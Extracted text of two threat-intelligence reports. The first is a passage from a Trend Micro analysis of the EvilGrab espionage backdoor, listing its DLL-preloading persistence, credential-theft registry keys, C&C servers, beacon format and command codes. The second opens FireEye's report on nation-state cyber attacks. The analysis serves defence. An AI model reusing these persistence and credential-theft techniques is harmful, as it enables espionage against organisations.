By volume of  CC server activity, the following countries ranked as follows: 1 42 3 5 6 7 8 9 10 Australia South Korea Germany Japan Italy Taiwan India United States Vietnam Netherlands Others 1 2 3 4 5 6 7 8 9 10 32 15 9 7 6 5 4 3 2 2 15 Volume percent of  CC server activity per country File types used in targeted attacks Trend Micro  2Q Report on Targeted Attack Campaigns 8 Feature: EvilGrab Campaign Targets Diplomatic Agencies In this report, we will provide a detailed analysis of  the EvilGrab campaign.
This campaign was first found targeting certain Asian and European governments.
Its name is derived from its behavior of  grabbing audio, video, and screenshots from affected machines.
Currently, the malware used by EvilGrab belongs to one of  three malware families: BKDR_HGDER BKDR_EVILOGE BKDR_NVICM Targets Our research indicates that EvilGrab activity is most prevalent in China and Japan, although it is also present in other parts of  the world.
Government organizations were, by far, the most affected by EvilGrab.
This geolocation is based on the IP addresses of the victims.
Therefore, foreign institutions within China would be identified as coming from China the same would hold true for all countries.
EvilGrab was also found in the United States, Canada, France, Spain, and Australia, among others.
Map of  top affected countries by targeted attacks Sectors affected by targeted attacks 1 2 3 4 GOVERNMENT NON-GOVERNMENT ORGANIZATIONS MILITARY ONLINE MEDIA 89 7 3 1 1 4 2 3 5 China Japan South Africa Thailand Canada Others 1 2 3 4 5 36 18 3 2 2 39 Trend Micro  2Q Report on Targeted Attack Campaigns 9 Attack Vectors Research indicates that EvilGrab is primarily distributed through spear-phishing emails with malicious attachments that exploit various vulnerabilities to run malicious code.
Among the attachment types are: Microsoft Excel spreadsheets (CVE-2012-0158 and CVE-2012-2543) PDFs (CVE-2013-0640) Microsoft Word documents (CVE-2012-0158) A .RAR file with a folder named thumbs.db was also seen containing malicious code.
By using this name, the intention was to disguise itself  as the Windows thumbnail cache.
A shortcut file (.LNK) was also seen in the .RAR file, which used a folder icon to make users believe it was another folder.
In reality, running the .LNK file executes the malware.
In addition, the .RAR file contains a desktop.ini file in order to change the thumbs.db folder icon into the icon of  the Windows thumbnail cache.
Exploits, Payloads, and Decoy Documents The EvilGrab campaigns use of  exploits, payloads, and decoy documents is similar to the Taidoor campaign in 2012.2 The primary difference is that EvilGrab variants have multiple layers of  shellcode.
In addition, some variants copy the file name and use it as the decoy document file name.
Other variants overwrite the exploit document with the contents of  the decoy document.
As noted above, some variants also use disguised folders and shortcuts and do not use exploits to run their code.
DLL Preloading Using the Windows Shell and Fax Server DLL preloading is a vulnerability that has been documented for over three years.3 The EvilGrab campaign makes use of  this vulnerability for its AutoRun routine.
Whenever it is run, the Windows shell (explorer.exe) loads a component of  the fax server in Windows, fxsst.dll.
This is normally located in the System32 folder.
Whenever an instance of  explorer.exe is launched (i.e., at every system startup), the system searches for the said .DLL file and loads it.
EvilGrab drops one of  its .DLL components in the Windows folder, where explorer.
exe is also located.
The malicious .DLL (also named fxsst.dll) is loaded instead of  the legitimate copy.
It also serves as the loader of  the main backdoor.
http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-0158 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-2543 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2013-0640 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-0158 Trend Micro  2Q Report on Targeted Attack Campaigns 10 While DLL preloading has been used by other malware in the past, it is less common to see it specifically target explorer.exe.
Other malware families that use this vulnerability typically target executable files outside of  Windows EvilGrab targets a part of  Windows itself.
Other Autorun Behaviors In addition to the above behavior, EvilGrab also creates the following registry entry to enable its automatic execution at every system startup: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run UKey  Application Data\360\Live360.exe The file Application Data\360\Live360.exe is a copy of  one of  the malware components.
It also creates a shortcut under the Startup folder in the Start menu: IEChecker.lnk Target: UserProfile\IEChecker.exe L Icon: Full path of  Iexplorer.exe (This uses the Internet Explorer icon and disguise itself  as part of  Internet Explorer.)
The above file is also a copy of  one of  the malicious components.
Stealth Operation EvilGrab has three primary components: one .EXE file and two .DLL files.
The .EXE file acts as the installer for all of  the EvilGrab components.
One of  the .DLL files serves as a loader for the other .DLL file, which is the main backdoor component.
Some variants of  EvilGrab delete the .EXE file after installation to cover its tracks more effectively.
As noted earlier, the loader file is named fxsst.dll.
However, examination of its header states that its actual file name is supposed to be svchost.dll.
These components are also encrypted and saved in the registry.
To add stealth to its backdoor routines, it uses a legitimate process contexts memory space to inject the main backdoor.
Trend Micro  2Q Report on Targeted Attack Campaigns 11 By default, this backdoor injects itself  into the svchost.exe or winlogon.exe process.
It also checks if  certain processes related to certain security products are running on the affected system.
The specific processes targeted are: avp.exe klwtblfs.exe starter.exe wmifw.exe Other variants of  this malware also check if  other security products are present.
It is not clear why EvilGrab specifically targets these products.
However, it is possible that the attackers determined that targets for this campaign are likely running these products.
Registry Storage EvilGrab stores its components in the following registry entries: HKCU\Software\rar and/or HKLM\SOFTWARE\rar data  Encrypted copy of the main backdoor DLL s  Encrypted copy of the loader DLL e  Encrypted string which points to the full path of the installer EXE Media Grabbing To capture video, EvilGrab creates a capture window with the class name of  ESET.
It uses the Sample Grabber filter (part of  the DirectShow technology in Windows) to directly perform grabbing.4 It also uses Wave APIs to capture audio.5 User Credential Theft EvilGrab steals user credentials related to the following applications and/or protocols: HTTP HTTPMail IMAP Internet Explorer (IE) Microsoft Outlook Trend Micro  2Q Report on Targeted Attack Campaigns 12 MSN POP3 Protected Storage SMTP Windows Messaging EvilGrab steals these credentials by parsing the following registry keys: HKCU\Software\Microsoft\Windows NT\CurrentVersion\ WindowsMessagingSubsystem\Profiles HKCU\Software\Microsoft\WindowsMessagingSubsystem\Profiles HKCU\Software\Microsoft\Internet Account Manager\Accounts HKCU\Software\Microsoft\Office\Outlook\ OMI Account Manager\Accounts It queries the above keys for related values that correspond to the applications and protocols listed earlier.
The values are then decrypted using the system library pstorec.dll.
It also steals login credential from IE autocomplete entries.
It does this by first parsing the index.dat files in the IE History folder.
It then collects autocomplete entries from the following registry key: HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 It then initiates a brute force attack on encrypted credentials using the CryptUnprotectData API.
However, it will only try to steal passwords from IEs password-protected sites and MSN Explorer Signup if  kav.exe (related to a security product) is not running in the system.
Trend Micro  2Q Report on Targeted Attack Campaigns 13 Tencent QQ Memory Reading If  the active window is Tencent QQ (specifically, QQ2009 through QQ2012), EvilGrab will attempt to steal information by directly reading the processs memory and checking if  the class name of  the focused window is not named EDIT.
The contents of  the processs memory are then saved onto the systems hard drive as UserProfile\users.bin.
It is then sent back to the backdoors CC server.
The file on the hard drive is encrypted specifically, the data is XORed with the key 0x66.
Key Logging EvilGrab also possesses keylogging capabilities.
The logged keystrokes are then sent back to the CC and saved to User Profile\users.bin.
The file on the hard drive is encrypted specifically, the data is XORed with the key 0x66.
Trend Micro  2Q Report on Targeted Attack Campaigns 14 Command  Control Servers Each backdoor has one to three CC servers in its code.
Some of  CC servers that we have seen from our accumulated data are as follows: 112.121.182.150 113.10.246.46 113.10.190.55 202.130.112.231 micoosofts.com qtds1979 .3322.
org qtds1979.gicp.net server1.
micoosofts.
com sxl1979.
gicp.
net webmonder.
gicp.
net webposter.
gicp.
net www .
yahooip .
net www .
yahooprotect .
com www .
yahooprotect .
net yacooll .
com yahooip .
net yahooprotect .
com Trend Micro  2Q Report on Targeted Attack Campaigns 15 Backdoor Activity To start its connection to its CC server, the backdoor component will first send 5-bytes (\x01\x00\x00\x00\x33).
The CC will reply if  it accepts the connection.
The backdoor then replies with a beacon message, the contents of  which are as follows: Description Sample value (referring to sample packet illustrated below) Size of internal buffer d xFFC (4092) Hardcoded 0xA0 c  xA0 Backdoor identifier 1 s  RB0318 Host IP s  111.222.123.132 Host port d  432 (1074.)
OS version s  OSVERSION Hostname s  HOSTNAME User name s  USERNAME Camera device detected s  No Date time s  0000 Presence of removable drive s  No Backdoor identifier 2 s  V2010-v24 Process ID of the process where the backdoor is injected d  21C (540.)
Hardcoded 0x00 d  0 Trend Micro  2Q Report on Targeted Attack Campaigns 16 Either backdoor identifier 1 or backdoor identifier 2 acts as the campaign code or marker for EvilGrab campaigns, which is recognizable by the CC server and/or attacker.
Some of  the identifiers we saw in backdoor identifier 1 are: 006 007 0401 072002 3k-Ja-0606 3k-jp01 4k-lyt25 88j e-0924 LJ0626 RB0318 Some of  the identifiers seen in our accumulated data in backdoor identifier 2 are as follows: V2010-v16 V2010-v24 We noted a correlation between the MZ/PE headers of  variants and the strings in backdoor identifier 2.
Variants with a V2010-v24 identifier have a proper MZ/PE header variants with a V2010-v16 header have portions of  their header overwritten with JPEG strings.
These variants require a loader component to load them into memory in order to be executed.
Trend Micro  2Q Report on Targeted Attack Campaigns 17 Below is a sample packet sent at the beginning of  the connection: EvilGrab variants possess a wide variety of  possible backdoor commands.
The table below lists its possible commands: Command code Description x82 Enumerate drives and their drive types x83 File listing with files last modification date, file attribute and file size x85 Execute downloaded file x86 Set file pointer of specific file x87 Close file handles x88 Load .DLL x89 Create directory x8A Delete file x8B Delete directory tree x8C Get file time stamps of a specific file x8E Either runs an executable, loads a DLL or open a file x8F Move/Rename a file x90 Steal login credentials Code snapshot Trend Micro  2Q Report on Targeted Attack Campaigns 18 Command code Description x92 Create remote shell x93 Write to file x94 Close thread that created remote shell x99 Send message to a certain window x9A - x9B Related to change a specific windows show state x9C Change window text of certain window x9D, x9F Synthesize key strokes (i.e.
right menu, shift) xB0 Triggers sending of accumulated stolen information xB1 Modify registry entry value xB2 Delete a value from registry xB4 Modify registry xB5 Create registry entry xB7 Delete registry key xB9 Get service listing info (service name, service type, service status, service setting) xBA Change service status xBB Change optional parameters of certain services xBC Create service Trend Micro  2Q Report on Targeted Attack Campaigns 19 Command code Description xBD Get TCP  UDP network connections xBE Get process listing xBF Terminate process xC0 Get CPU info, Windows and System32 folder, hostname, user name, clipboard contents xC1 Delete its files and registries from the system (uninstall itself) xE2- xE3 Related to stealing desktop screenshots xE5 Get desktop screenshot xE6 Get file listing xE9 Connect to other network xEB Set mouse event xEC Start capture window for media grabbing xEE Media capture related xF0 Start audio recording xF2 Search for certain files and steal file content Trend Micro  2Q Report on Targeted Attack Campaigns 20 This captured packet shows sample backdoor commands and replies: Backdoor command xC0: Get CPU info, Windows and System32 folder, hostname, user name and clipboard content Backdoor command x82: Get drive listings and types These capabilities can be used for both lateral movement within a compromised organization and to steal information.
EvilGrab steals internal user names and passwords as well as logs keystrokes.
Credentials stolen this way can be used to move within the confines of  the organizations network.
EvilGrab possesses a wide variety of  information theft capabilities.
It can grab audio and video files directly from devices attached on the system (i.e.
microphone and camera).
In addition, EvilGrab can upload files from the affected system to remote servers.
EvilGrab possesses a full range of  capabilities that is expected in malware used in targeted attacks against organizations.
Trend Micro  2Q Report on Targeted Attack Campaigns 21 Trend Micro Recommendations Targeted attacks pose a challenge to traditional signature-based security solutions.
To deal with these type of  threats, employ solutions that include network monitoring to detect and analyze incoming threats, as well as any outgoing communication with attacking parties.
Products like Trend Micro Deep Discovery are capable of  mitigating the risks from these threats.
One component of  Deep Discovery, the Deep Discovery Inspector, provides network threat detection, custom sandboxing, and real-time analysis and reporting.
The second component, Deep Discovery Advisor, provides sandbox analysis of  known and unknown threats that augments the capabilities of  existing products like endpoint solution and email/web gateways.
It also provides visibility to network-wide security events.
The capabilities provided by solutions like Deep Discovery are necessary to provide a unified, comprehensive view of  the threats an organization faces.
This information can then be used by an organization to create appropriate and proportional responses to properly protect an organizations network.
Trend Micro  2Q Report on Targeted Attack Campaigns 22 References 1 Sancho, David Dela Torre, Jessa Bakuei, Matsukawa Villeneuve, Nart and McArdle, Robert.
(
2013).
Trend Micro Incorporated Research Paper.
IXESHE: An APT Campaign.
Last accesed August 30, 2013.
http://www.trendmicro.
com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf 2 Trend Micro Incorporated.
(
2013).
Trend Micro Incorporated Research Paper The Taidoor Campaign: An In-Depth Analysis.
Last accessed August 30, 2013.
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/ white-papers/wp_the_taidoor_campaign.pdf 3 Security TechCenter.
(
November 13, 2012).
Microsoft Security Advisory.
Microsoft Security Advisory (2269637): Insecure Library Loading Could Allow Remote Code Execution Last accessed August 30, 2013.
http://technet.
microsoft.com/en-us/security/advisory/2269637 4 Microsoft.
(
2013).
Windows Dev Center - Desktop.
Using the Sample Grabber.
Last accessed August 30, 2013.
http://msdn.microsoft.com/en-us/library/windows/desktop/dd407288(vvs.85).aspx 5 Microsoft.
(
2013).
Developer Network.
Recording and Playing Sound with the Waveform Audio Interface.
Last accessed August 30, 2013.
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World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks FireEye Labs Authors: Kenneth Geers, Darien Kindlund, Ned Moran, Rob Rachwald FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 1 Contents Executive Summary 2 Introduction 3 A Word of Warning 4 The FireEye Perspective 4 Asia-Pacific 5 Russia/Eastern Europe 11 Middle East 13 The West 17 Conclusion 20 About FireEye 21 FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 2 Executive Summary Cyberspace has become a full-blown war zone as governments across the globe clash for digital supremacy in a new, mostly invisible theater of operations.
Once limited to opportunistic criminals, cyber attacks are becoming a key weapon for governments seeking to defend national sovereignty and project national power.
From strategic cyber espionage campaigns, such as Moonlight Maze and Titan Rain, to the destructive, such as military cyber strikes on Georgia and Iran, human and international conflicts are entering a new phase in their long histories.
In this shadowy battlefield, victories are fought with bits instead of bullets, malware instead of militias, and botnets instead of bombs.
These covert assaults are largely unseen by the public.
Unlike the wars of yesteryear, this cyber war produces no dramatic images of exploding warheads, crumbled buildings, or fleeing civilians.
But the list of casualtieswhich already includes some of the biggest names in technology, financial services, defense, and government is growing larger by the day.
A cyber attack is best understood not as an end in itself, but as a potentially powerful means to a wide variety of political, military, and economic goals.
Serious cyber attacks are unlikely to be motiveless, said Martin Libicki, Senior Scientist at RAND Corp. Countries carry them out to achieve certain ends, which tend to reflect their broader strategic goals.
The relationship between the means chosen and their goals will look rational and reasonable to them if not necessarily to us.
Just as each country has a unique political system, history, and culture, state-sponsored attacks also have distinctive characteristics, which include everything from motivation to target to type of attack.
This report describes the unique characteristics of cyber attack campaigns waged by governments worldwide.
We hope that, armed with this knowledge, security professionals can better identify their attackers and tailor their defenses accordingly.
Here is a quick overview: Asia-Pacific.
Home to large, bureaucratic hacker groups such as the Comment Crew who pursue many goals and targets in high-frequency, brute-force attacks.
Russia/Eastern Europe.
These cyber attacks are more technically advanced and highly effective at evading detection.
Middle East.
These hackers are dynamic, often using creativity, deception, and social engineering to trick users into compromising their own computers.
United States.
The most complex, targeted, and rigorously engineered cyber attack campaigns to date.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 3 Introduction World War Za bestselling book and Hollywood moviedetailed a global pandemic in which politics and culture deeply influenced how the publicand by extension, governmentsreacted to a zombie plague.
In one passage, for example, an Arab boy refused to believe that the disease was real, suspecting that Israel had fabricated the story.
The nations described in World War Zthe United States, China, Russia, South Korea, Israel, and many othersare involved in a very different type of conflict, but one with real and growing national security impact: World War C, where C stands for Cyber.
However, the same rule applies: each country has a unique political system, history, language, culture, and understanding of human and international conflict.
Cyber conflict often mirrors traditional conflict.
For example, China uses high-volume cyber attacks similar to how it used infantry during the Korean War.
Many Chinese soldiers were sent into battle with only a handful of bullets.
Given their strength in numbers, they were still able to achieve battlefield victories.
On the other end of the spectrum lie Russia, the U.S., and Israel, whose cyber tactics are more surgical, reliant on advanced technologies and the cutting-edge work of contractors who are driven by competition and financial incentives.
We are still at the dawn of the Internet Age.
But cyber attacks have already proven themselves as a low-cost, high-payoff way to defend national sovereignty and to project national power.
Many of todays headlines seem to be pulled from the pages of a science fiction novel.
Code so sophisticated it destroys a nuclear centrifuge thousands of miles away.
Malware that secretly records everything a user does on a computer.
A software program that steals data from any nearby device that has Bluetooth connectivity.
Encrypted code that decrypts only on one specific, target device.
Such sophistication speaks volumes about the maturity, size, and resources of the organizations behind these attacks.
With a few rare exceptions, these attacks are now in the exclusive realm of nation-states.
The international community has developed a solid understanding of cyber technology, said Prof. Michael N. Schmitt of the U.S.
Naval War College, in an email interview.
What is missing is a grasp of the geopolitical context in which such technology operates.
Attribution determinations made without sensitivity to the geopolitical surroundings are seldom reasonable.
World War C, like any analogy, has its limits.
Cyber war has been compared to special operations forces, submarine warfare, missiles, assassins, nuclear weapons, Pearl Harbor, 9/11, Katrina, and more.
Even our zombie analogy is not new.
Often, any compromised computer, if it is actively under the surreptitious control of a cybercriminal, is called a zombie, and botnets are sometimes called zombie armies.
Also, compared to stockpiling tanks and artillery, writing cyber attack code, and compromising thousands if not millions of computers, is easy.
Moreover, malware often spreads with the exponential growth of an infectious disease.
This report examines many publicly known cyber attacks.
By exploring some of the distinctive national or regional characteristics of these attacks, organizations can better identify their attackers, anticipate future attacks, and defend themselves.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 4 A Word of Warning The analytical waters surrounding cyber warfare are inherently murky.
At the strategic level, governments desire to have a degree of plausible deniability.
At the tactical level, military and intelligence organizations envelop such operations in layers of classification and secrecy.
To be effective, information operations rely on deceptionand the Internet offers an ideal venue for a spys smoke and mirrors.
In practical terms, hackers often run their attacks through cyber terrain (such as compromised, third-party networks) that present investigators with technical and jurisdictional complications.
And finally, cybercriminal tools, tactics, and procedures (TTPs) evolve so quickly that cyber defense, legislation, and law enforcement remain behind the attackers curve.
The biggest challenge to deterring, defending against, or retaliating for cyber attacks is the problem of correctly identifying the perpetrator, said Prof. John Arquilla, Naval Postgraduate School in an email interview with FireEye.
Ballistic missiles come with return addresses.
But computer viruses, worms, and denial of service attacks often emanate from behind a veil of anonymity.
The best chance to pierce this veil comes with the skillful blending of forensic back-hacking techniques with deep knowledge of others strategic cultures and their geopolitical aims.
Cyber attributionidentifying a likely culprit, whether an individual, organization, or nation-stateis notoriously difficult, especially for any single attack.
States are often mistakenly identified as non-state actors, and vice versa.
To make matters worse, ties between the two are increasing.
First, a growing number of patriotic cybercriminals ostensibly wage cyber war on behalf of governments (examples include Chechnya and Kosovo in the 1990s, China in 2001, Estonia in 2007, Georgia in 2008, and every year in the Middle East).1 Second, cybercrime organizations offer anyone, including governments, cyber attack services to include denial-of-service attacks and access to previously compromised networks.
FireEye researchers have even seen one nation-state develop and use a sophisticated Trojan, and later (after its own counter-Trojan defenses were in place) sell it to cybercriminals on the black market.
Thus, some cyber attack campaigns may bear the hallmarks of both state and non-state actors, making positive attribution almost impossible.
And finally, false flag cyber operations involve a hacker group behaving like another to mislead cyber defense researchers.
The FireEye Perspective Within the shadowy world of cyber warfare, FireEye occupies a unique position.
First, our threat protection platform has been installed on thousands of sensitive networks around the world.
This gives our researchers a global and embedded presence in the cyber domain.
Second, FireEye devices are placed behind traditional security defenses such as firewalls, anti-virus, and intrusion prevention systems.
This means that our false positive rate is extremely low, and that the attacks we detect have already succeeded in penetrating external network defenses.
1 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No.
6 SC Magazine (27 AUG 08) 1-12.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 5 Asia-Pacific Chinathe elephant in the room The Peoples Republic of China is the noisiest threat actor in cyberspace.
The reasons for this include its huge population, a rapidly expanding economy, and a lack of good mitigation strategies on the part of its targets.
Chinese attacks on the U.S.
The list of successful Chinese compromises is long, and spans the entire globe.
Here are some of the most significant incidents in the U.S.: Government: By 1999, the U.S. Department of Energy believed that China posed an acute threat to U.S. nuclear security via cyber espionage.2 By 2009, China apparently stole the plans for the most advanced U.S. fighter jet, the F-35.3 Technology: China hacked Google, Intel, Adobe, and RSAs SecureID authentication technology with which it then targeted Lockheed Martin, Northrop Grumman, and L-3 Communications.4 Business and Financial Services: Morgan Stanley, the U.S. Chamber of Commerce, and numerous banks have been hacked.5 Media: The New York Times, Wall Street Journal, Washington Post, and more have been targeted by advanced, persistent cyber attacks emanating from China.6 Critical Infrastructure: Department of Homeland Security (DHS) reported in 2013 that 23 gas pipeline companies were hacked (possibly for sabotage),7 and that Chinese hackers were seen at the U.S. Army Corps of Engineers National Inventory of Dams.8 Some of these cyber attacks have given China access to proprietary information such as research and development data.
Others offer Chinese intelligence access to sensitive communications, from senior government officials to Chinese political dissidents.
2 Gerth, J.
Risen, J.
(2 May 1999) 1998 Report Told of Lab Breaches and China Threat, The New York Times.
3 Gorman, S., Cole, A.  Dreazen, Y.
(21 Apr 2009) Computer Spies Breach Fighter-Jet Project, The Wall Street Journal.
4 Gross, M.J. (1 Sep 2011) Enter the Cyber-dragon, Vanity Fair.
5 Gorman, S. (21 Dec 2011) China Hackers Hit U.S. Chamber, Wall Street Journal and Ibid.
6 Perlroth, N. (1 Feb 2013) Washington Post Joins List of News Media Hacked by the Chinese, and Wall Street Journal Announces That It, Too, Was Hacked by the Chinese, The New York Times.
7 Clayton, M. (27 Feb 2013) Exclusive: Cyberattack leaves natural gas pipelines vulnerable to sabotage, The Christian Science Monitor.
8 Gertz, B.
(1 May 2013) Dam Sensitive Army database of U.S. dams compromised Chinese hackers suspected, The Washington Times.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 6 Chinese attacks outside the U.S. Of course, the U.S. is not Chinas only cyber target.
All traditional, geopolitical conflicts have moved into cyberspace, and Chinese compromises encompass the entire globe.
But many contests have been one-sided affairs, with all publicly known attacks emanating from China.
Europe: In 2006, Chinese cybercriminals targeted the UK House of Commons9 in 2007, German Chancellor Angela Merkel raised the problem of nation-state hacking with Chinas President10 in 2010, British MI5 warned that undercover Chinese intelligence officers had given UK business executives malware-laden digital cameras and memory sticks.11 India: Indian officials worry that China could disrupt their computer networks during a conflict.
One expert confided that an exclusive reliance on Chinese hardware might give China a permanent denial-of-service capability.12 One sophisticated attack on an Indian Navy headquarters allegedly used a USB vector to bridge the air-gap between a compartmentalized, standalone network and the Internet.13 South Korea: The South Korean government has complained for years of Chinese activity on its official computers, including a 2010 compromise of the personal computers and PDAs belonging to much of South Koreas government power structure14 and a 2011 assault on an Internet portal that held personal information for 35 million Koreans.15 Japan: Here, the target list includes government, military, and high-tech networks.
Chinese cybercriminals have even stolen classified documents.16 9 Warren, P. (18 Jan 2006) Smash and grab, the hi-tech way, The Guardian.
10 Espionage Report: Merkels China Visit Marred by Hacking Allegations, (27 Aug 2007) Spiegel.
11 Leppard, D. (31 Jan 2010) China bugs and burgles Britain, The Sunday Times.
12 Exclusive cyber threat-related discussions with FireEye researchers.
13 Pubby, M. (01 Jul 2012) China hackers enter Navy computers, plant bug to extract sensitive data, The Indian Express.
14 Ungerleider, N. (19 Oct 2010) South Koreas Power Structure Hacked, Digital Trail Leads to China.
Fast Company.
15 Mick, J.
(28 Jul 2011) Chinese Hackers Score Heist of 35 Million South Koreans Personal Info, Daily Tech.
16 McCurry, J.
(20 Sep 2011) Japan anxious over defence data as China denies hacking weapons maker, The Guardian and China-based servers in Japan cyber attacks, (28 Oct 2011) The Indian Express.
CHINA FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 7 Australia: China allegedly stole the blueprints for the Australian Security Intelligence Organizations new 631 million building.17 Worldwide: In 2009, Canadian researchers discovered that China controlled a worldwide cyber espionage network in over 100 countries.18 In 2010, a Chinese telecommunications firm transmitted erroneous routing information for 37,000 computer networks, which misrouted some Internet traffic through China for 20 minutes.
The attack exposed data from 8,000 U.S. networks, 1,100 Australian networks, and 230 French networks.19 Chinese cyber tactics The Peoples Republic of China (PRC) is home to 1.35 billion people, or more than four times the population of the United States.
Therefore, China often has the ability to overwhelm cyber defenses with quantity over quality, just as it did in the Korean War and as it might do in any other type of conflict.
The Chinese malware that FireEye researchers have analyzed is not the most advanced or creative.
But in many circumstances, it has been no less effective.
China employs brute-force attacks that are often the most inexpensive way to accomplish its objectives.
The attacks succeed due to the sheer volume of attacks, the prevalence and persistence of vulnerabilities in modern networks, and a seeming indifference on the part of the cybercriminals to being caught.
Reconnaissance Mailing Lists, Previous Watering Hole Intel, Crawling, Mining Social Networks Weaponization Masked EXEs to Appear Non-Executable File Formats, Malicious Non-EXE File Formats, Watering Hole Attacks Delivery Strategic Web Compromises, Spear phish URLs in Email, Weaponized Email Attachments, Webserver compromise via scanning Exploitation 0-Day Browser / Application Vulnerabilities, Social Engineering Installation Feature Rich, Compact RATs with Minimal Evasion Capabilities (Requires Operator For Lateral Movement) Command and Control (C2) HTTP with Embedded, Standard Encodings (e.g., XOR), along with Custom Encodings Actions on Objectives Intelligence Gathering / Economic Espionage, Persistent Access TTP Exemplars Comment Group 17 Report: Plans for Australia spy HQ hacked by China, (28 May 2013) Associated Press.
18 Tracking GhostNet: Investigating a Cyber Espionage Network (29 March 2009) Information Warfare Monitor.
19 Vijayan, J.
(18 Nov 2010) Update: Report sounds alarm on Chinas rerouting of U.S. Internet traffic, Computerworld.
Table 1: Characteristics of Chinese cyber attacks FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 8 The Comment Crew,20 a prominent example of a Chinese cyber threat actor, is believed to be a contractor to the PRC government.
The Comment Crew is behind many noteworthy attacks, including Operation Beebus, which targets U.S. aerospace and defense industries.21 One important characteristic of the Comment Crewwhich puts it definitively in the category of an advanced persistent threat, or APTis that it is a bureaucracy.
In-depth analysis reveals a small group of creative and strategic thinkers at the top.
One layer down, a larger group of specialists design and produce malware in an industrial fashion.
At the bottom are the foot soldiersbrute-force hackers who execute orders and wage extended cyber attack campaigns, from network reconnaissance to spear phishing to data exfiltration.
The Comment Crew is so large, in fact, that when the Federal Bureau of Investigation (FBI) decoded one of the groups stolen caches of information, if printed out, it would have created a stack of paper taller than a set of encyclopedias.22 Such a large bureaucracy helps to explain sometimes-incongruous cybercriminal behavior.
A given piece of malware, for example, may have been written by an expert but incorrectly used later by an inexperienced foot soldier (such as a poorly written spear phishing email).
Understanding this cyber attack life cycle and its different stages can help cyber defenders recognize and foil an attack.
In any large organization, some processes are less mature than others, and therefore easier to recognize.
Chinese cyber defense In its own defense, Chinese officials contend that their country is also a target of cyber attacks.
In 2006, the China Aerospace Science  Industry Corporation (CASIC) found spyware on its classified network.23 In 2007, the Chinese Ministry of State Security stated that foreign cybercriminals were stealing Chinese information, with 42 percent of attacks coming from Taiwan and 25 percent from the United States.24 In 2009, Chinese Prime Minister Wen Jiabao announced that a cybercriminal from Taiwan had stolen his upcoming report to the National Peoples Congress.25 In 2013, Edward Snowden, a former system administrator at the National Security Agency (NSA), published documents suggesting that the U.S. conducted cyber espionage against China26 and the Chinese Computer Emergency Response Team (CERT) stated that it possessed mountains of data on cyber attacks by the U.S.27 20 Sanger, D., Barboza, D.  Perlroth, N. (18 Feb 2013) Chinese Army Unit is seen as tied to Hacking against U.S.
The New York Times.
21 Pidathala, V., Kindlund, D.  Haq, T. (1 Feb 2013) Operation Beebus, FireEye.
22 Riley, M.  Lawrence, D. (26 Jul 2012) Hackers Linked to Chinas Army Seen From EU to D.C., Bloomberg.
23 Significant Cyber Incidents Since 2006, Center for Strategic and International Studies.
24 Ibid.
25 Ibid.
26 Rapoza, K. (22 June 2013) U.S. Hacked China Universities, Mobile Phones, Snowden Tells China Press, Forbes.
27 Hille, K. (5 Jun 2013) China claims mountains of data on cyber attacks by US, Financial Times.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 9 North Koreathe upstart North and South Korea remain locked in one of the most intractable conflicts on Earth.
North Korea (supported by China) would seem to be stuck in a cyber Stone Ageespecially relative to South Korea (supported by the U.S.)has the fastest download speeds in the world28 and will issue its students with computer tablets instead of books by 2015.29 Even so, the Internet offers anyone, and any nation, an asymmetric way to gather intelligence and project national power in cyberspaceand North Korea appears to have acquired cyber attacks as a new weapon for its arsenal.
In 2009, North Korea launched its first major assault on South Korean and U.S. government websites.
The attack did little damage, but the incident gained wide media exposure.30 By 2013, however, the threat actors had matured.
A group dubbed the DarkSeoul Gang was responsible for at least four years of high-profile attacks on South Korea.
The groups attacks included a distributed denial-of-service (DDoS) attack and malicious code that wiped computer hard drives at banks, media, ISPs, telcos, and financial services companiesoverwriting legitimate data with political messages.
In the Korean conflict, such incidents often take place on dates of historical significance, including July 4, the U.S.
Independence Day.31 Suspected North Korean attacks on U.S. institutions include U.S. military elements based in South Korea, the U.S.-based Committee for Human Rights in North Korea, and even the White House.
North Korean defectors have described a burgeoning cyberwarfare department of 3,000 personnel, largely trained in China and Russia.
The defectors stressed that North Korea has a growing fascinationwith cyber attacks as a cost-effective way to compete against its conventionally superior foes.
They believe that North Korea is growing increasingly comfortable and confident in this new warfare domain, assessing that the Internet is not only vulnerable to attack but that this strategy can create psychological pressure on the West.
Toward this end, North Korea has focused on disconnecting its important servers from the Internet, while building a dedicated attack network.32 FireEye researchers have seen a heavy use of spear phishing and the construction of a watering hole, in which an important website is hacked in the hope of compromising the computers of its subsequent visitors, who usually belong to a certain VIP-profile the attacker is targeting.
Some North Korean attacks have begun to manipulate a victims operating system settings and disable their anti-virus software techniques that are normally characteristic of Russian cybercriminals.
In other words, North Korean hackers may have learned from or have contracted support in Russia.
Apart from any possible disruption or destruction stemming from cyber attacks, computer network operations are an invaluable tool for collecting sensitive information, especially when it resides on government or think-tank networks normally inaccessible from the Internet.
North Korea, China, and Russia are all naturally interested in collecting cyber intelligence that would increase their comparative advantage in classified information, diplomatic negotiating positions, or future policy changes.
28 McDonald, M. (21 Feb 2011) Home Internet May Get Even Faster in South Korea, The New York Times.
29 Gobry, P-E. (5 JUL 2011) South Korea Will Replace All Paper With Tablets In Schools By 2015, Business Insider.
